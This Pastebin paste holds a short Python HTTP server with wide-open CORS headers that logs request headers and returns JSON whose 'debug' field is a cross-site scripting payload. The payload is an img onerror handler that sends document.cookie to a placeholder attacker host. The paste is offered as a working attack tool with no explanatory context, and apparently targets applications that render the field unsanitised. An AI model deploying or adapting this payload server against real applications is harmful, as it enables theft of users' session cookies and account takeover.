Advertisement
Guest User

Untitled

a guest
Aug 10th, 2024
33
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.20 KB | None | 0 0
  1. from http.server import HTTPServer, SimpleHTTPRequestHandler
  2. import sys
  3. import logging
  4. import json
  5.  
  6.  
  7. class CORSRequestHandler(SimpleHTTPRequestHandler):
  8.  
  9. def end_headers(self):
  10. self.send_header('Access-Control-Allow-Origin', '*')
  11. self.send_header('Access-Control-Allow-Methods', '*')
  12. self.send_header('Access-Control-Allow-Headers', '*')
  13. self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate')
  14. return super(CORSRequestHandler, self).end_headers()
  15.  
  16. def do_OPTIONS(self):
  17. self.send_response(200)
  18. self.end_headers()
  19.  
  20. def do_GET(self):
  21. logging.error(self.headers)
  22. self.send_response(200)
  23. self.send_header('Content-type', 'application/json')
  24. self.end_headers()
  25. self.wfile.write(json.dumps({
  26. 'debug': '<img src=x onerror=fetch("http://attacker-IP/?"+document.cookie)>'
  27. }).encode())
  28.  
  29.  
  30.  
  31. host = sys.argv[1] if len(sys.argv) > 2 else '0.0.0.0'
  32. port = int(sys.argv[len(sys.argv)-1]) if len(sys.argv) > 1 else 8000
  33.  
  34. print("Listening on {}:{}".format(host, port))
  35. httpd = HTTPServer((host, port), CORSRequestHandler)
  36. httpd.serve_forever()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement